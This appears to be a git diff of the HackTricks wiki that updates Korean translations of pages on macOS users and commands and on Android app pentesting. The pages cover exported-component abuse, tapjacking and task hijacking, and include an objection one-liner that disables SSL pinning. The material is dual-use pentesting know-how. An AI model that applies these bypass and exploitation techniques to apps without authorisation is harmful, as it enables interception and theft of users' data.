_datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs +``` +- **Guest**: 매우 제한된 권한을 가진 게스트 계정 ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` - -- **Nobody**: Processes are executed with this user when minimal permissions are required +- **Nobody**: 최소 권한이 필요할 때 이 사용자로 프로세스가 실행됩니다. - **Root** -## User Privileges +## 사용자 권한 -- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. -- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - - For example root won't be able to place a file inside `/System` +- **표준 사용자:** 가장 기본적인 사용자입니다. 이 사용자는 소프트웨어를 설치하거나 다른 고급 작업을 수행할 때 관리자 사용자로부터 권한을 부여받아야 합니다. 스스로는 이를 수행할 수 없습니다. +- **관리자 사용자**: 대부분의 경우 표준 사용자로 작동하지만 소프트웨어 설치 및 기타 관리 작업과 같은 루트 작업을 수행할 수 있는 권한이 부여된 사용자입니다. 관리자 그룹에 속한 모든 사용자는 **sudoers 파일을 통해 루트에 접근할 수 있습니다**. +- **Root**: Root는 거의 모든 작업을 수행할 수 있는 사용자입니다(시스템 무결성 보호와 같은 보호에 의해 제한이 있습니다). +- 예를 들어, root는 `/System` 내부에 파일을 배치할 수 없습니다. -## External Accounts +## 외부 계정 -MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\ -Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. +MacOS는 FaceBook, Google 등과 같은 외부 신원 제공자를 통해 로그인하는 것도 지원합니다. 이 작업을 수행하는 주요 데몬은 `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`)이며, 외부 인증에 사용되는 플러그인은 `/System/Library/Accounts/Authentication/` 폴더 내에서 찾을 수 있습니다.\ +또한, `accountsd`는 `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`에서 계정 유형 목록을 가져옵니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 53e6dc36e..ca1a2ecc2 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -1,15 +1,14 @@ -# macOS Useful Commands +# macOS 유용한 명령어 {{#include ../banners/hacktricks-training.md}} -### MacOS Automatic Enumeration Tools +### MacOS 자동 열거 도구 - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) - **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -### Specific MacOS Commands - +### 특정 MacOS 명령어 ```bash #System info date @@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh) sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh) #Start apache sudo apachectl (start|status|restart|stop) - ##Web folder: /Library/WebServer/Documents/ +##Web folder: /Library/WebServer/Documents/ #Remove DNS cache dscacheutil -flushcache sudo killall -HUP mDNSResponder ``` +### 설치된 소프트웨어 및 서비스 -### Installed Software & Services - -Check for **suspicious** applications installed and **privileges** over the.installed resources: - +설치된 **의심스러운** 애플리케이션과 설치된 리소스에 대한 **권한**을 확인하십시오: ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework lsappinfo list #Installed Apps launchctl list #Services ``` - -### User Processes - +### 사용자 프로세스 ```bash # will print all the running services under that particular user domain. launchctl print gui/ @@ -140,10 +135,9 @@ launchctl print system # will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login launchctl print gui//com.company.launchagent.label ``` +### 사용자 생성 -### Create a user - -Without prompts +프롬프트 없이
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 5888124e8..570a3a66f 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,42 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -
- -경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요! - -**해킹 통찰력**\ -해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요. - -**실시간 해킹 뉴스**\ -실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요. - -**최신 공지사항**\ -새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. - -오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요! - ## 안드로이드 애플리케이션 기초 -안드로이드 보안 및 안드로이드 애플리케이션의 가장 위험한 구성 요소와 관련된 **가장 중요한 부분**에 대해 알기 위해 이 페이지를 읽는 것을 강력히 권장합니다: +**안드로이드 보안과 안드로이드 애플리케이션에서 가장 위험한 구성 요소와 관련된 가장 중요한 부분**에 대해 알기 위해 이 페이지를 읽는 것을 강력히 권장합니다: {{#ref}} android-applications-basics.md {{#endref}} -## ADB (Android Debug Bridge) +## ADB (안드로이드 디버그 브리지) 이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\ -**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 파일을 양방향으로 **복사**하고, 앱을 **설치** 및 **제거**하며, 셸 명령을 **실행**하고, 데이터를 **백업**하고, 로그를 **읽는** 등의 기능을 제공합니다. +**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다. -ADB 사용 방법을 배우기 위해 다음 [**ADB 명령어 목록**](adb-commands.md)을 확인하세요. +ADB를 사용하는 방법을 배우기 위해 다음 [**ADB 명령어 목록**](adb-commands.md)을 확인하세요. ## Smali -때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ -[**이 튜토리얼에서는 APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**. +때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ +[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**. -## 기타 흥미로운 트릭 +## 기타 흥미로운 팁 - [Play Store에서 위치 스푸핑하기](spoofing-your-location-in-play-store.md) - **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) @@ -71,7 +56,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github. **Firebase** -**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml @@ -85,13 +70,13 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github. - **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다. - **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다. - **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약성에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다. -- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식 취약 Android 버전을 지원하지 않는 것이 중요합니다. +- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식 취약한 Android 버전을 지원하지 않는 것이 중요합니다. **strings.xml** 파일에서 API 키, 사용자 정의 스키마 및 기타 개발자 노트와 같은 민감한 정보를 발견할 수 있으며, 이러한 리소스를 신중하게 검토할 필요성을 강조합니다. -### 탭재킹 +### Tapjacking -**탭재킹**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\ +**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\ 결과적으로, 사용자는 실제로 희생 앱에서 작업을 수행하고 있다는 사실을 **모르게 됩니다**. 자세한 정보는 다음에서 확인하세요: @@ -102,28 +87,28 @@ tapjacking.md ### 작업 하이재킹 -**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 하이재킹할 수 있습니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**). +**`launchMode`**가 **`singleTask`**로 설정되고 **`taskAffinity`**가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 하이재킹할 수 있습니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**). -자세한 정보는 다음에서 확인하세요: +자세한 내용은 다음에서 확인하세요: {{#ref}} android-task-hijacking.md {{#endref}} -### 불안전한 데이터 저장 +### 안전하지 않은 데이터 저장 **내부 저장소** -Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`과 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(잠재적으로 악의적인 애플리케이션 포함)에 의한 이러한 파일에 대한 접근을 **제한하지 않습니다**. +Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 다른 애플리케이션, 특히 잠재적으로 악의적인 애플리케이션에 의한 파일 접근을 **제한하지 않습니다**. 1. **정적 분석:** -- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**에 파일을 **노출할 수 있습니다**. +- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**으로 파일을 **노출할 수 있습니다**. 2. **동적 분석:** -- 앱에서 생성된 파일에 설정된 **권한**을 **확인**합니다. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**합니다. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. +- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. **외부 저장소** -**외부 저장소**(예: SD 카드)에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다: +**외부 저장소**에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다: 1. **접근성**: - 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 즉, 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있습니다. @@ -131,9 +116,9 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱** - 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**. - 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다. 3. **외부 저장소에서 데이터 처리**: -- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 유효성 검사를 수행**합니다. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. +- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증**을 수행하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. - 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다. -- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. +- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. 외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**. @@ -225,21 +210,6 @@ content-protocol.md --- -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- ## Dynamic Analysis @@ -304,24 +274,24 @@ You need to activate the **debugging** options and it will be cool if you can ** **Copy/Paste Buffer Caching** -Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다. +Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 민감한 섹션(예: 신용 카드 세부정보)에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다. **Crash Logs** -애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다. +응용 프로그램이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 응용 프로그램을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다. 펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**. **Analytics Data Sent To 3rd Parties** -애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다. +응용 프로그램은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **응용 프로그램의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다. ### SQLite DBs -대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\ +대부분의 응용 프로그램은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\ 데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다. -데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다. +데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수 있다면** 여전히 **취약점**입니다. `.tables`를 사용하여 테이블을 나열하고, `.schema `을 사용하여 테이블의 열을 나열합니다. @@ -351,7 +321,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **참고**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다. > [!NOTE] -> 권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회 방식과 노출되는 정보에 따라 다릅니다. +> 권한 우회가 항상 취약점이 되는 것은 아니며, 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다. **민감한 정보 유출** @@ -363,23 +333,23 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 ** ### **콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작** -[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#content-provider)\ +[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\ 콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. [**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/#content-providers) ### **서비스 악용** -[**서비스가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#services)\ -서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요. +[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\ +서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 것을 기억하세요. -서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 응답하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출**하거나 인증 수단을 우회하기 위해 **동적으로** **테스트**해야 합니다.\ +서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출**하거나 인증 수단을 우회하기 위해 **동적으로 테스트**해야 합니다.\ [**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/#services) ### **브로드캐스트 수신기 악용** -[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ -브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 점을 기억하세요. +[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ +브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 것을 기억하세요. 브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\ [**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](./#exploiting-broadcast-receivers) @@ -420,8 +390,8 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해 ### 전송 계층 검사 및 검증 실패 - **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다**. 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 것이 일반적입니다. -- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호 모음을 사용합니다. 이 취약점은 연결을 중간자 공격(MITM)에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다. -- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 안전하지 않은 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다. +- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호 모음을 사용합니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다. +- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다. #### 인증서 검증 @@ -439,21 +409,21 @@ HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해 #### SSL 핀닝 우회 -SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다: +SSL 핀닝이 구현되면 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다: -- **apk**를 자동으로 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. -- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)에서 확인하세요. -- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **apk**를 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 자동으로 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. +- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기에서 확인하세요](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/). +- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`. - **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨). -- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62). #### 일반 웹 취약점 찾기 -애플리케이션 내에서 일반 웹 취약점을 검색하는 것도 중요합니다. 이러한 취약점을 식별하고 완화하는 방법에 대한 자세한 정보는 이 요약의 범위를 넘어가지만 다른 곳에서 광범위하게 다루어집니다. +애플리케이션 내에서 일반 웹 취약점을 검색하는 것도 중요합니다. 이러한 취약점을 식별하고 완화하는 방법에 대한 자세한 정보는 이 요약의 범위를 넘어가지만, 다른 곳에서 광범위하게 다루어지고 있습니다. ### Frida -[Frida](https://www.frida.re)는 개발자, 리버스 엔지니어 및 보안 연구자를 위한 동적 계측 도구 키트입니다.\ +[Frida](https://www.frida.re)는 개발자, 리버스 엔지니어 및 보안 연구자를 위한 동적 계측 툴킷입니다.\ **실행 중인 애플리케이션에 접근하고 런타임에서 메서드를 후킹하여 동작을 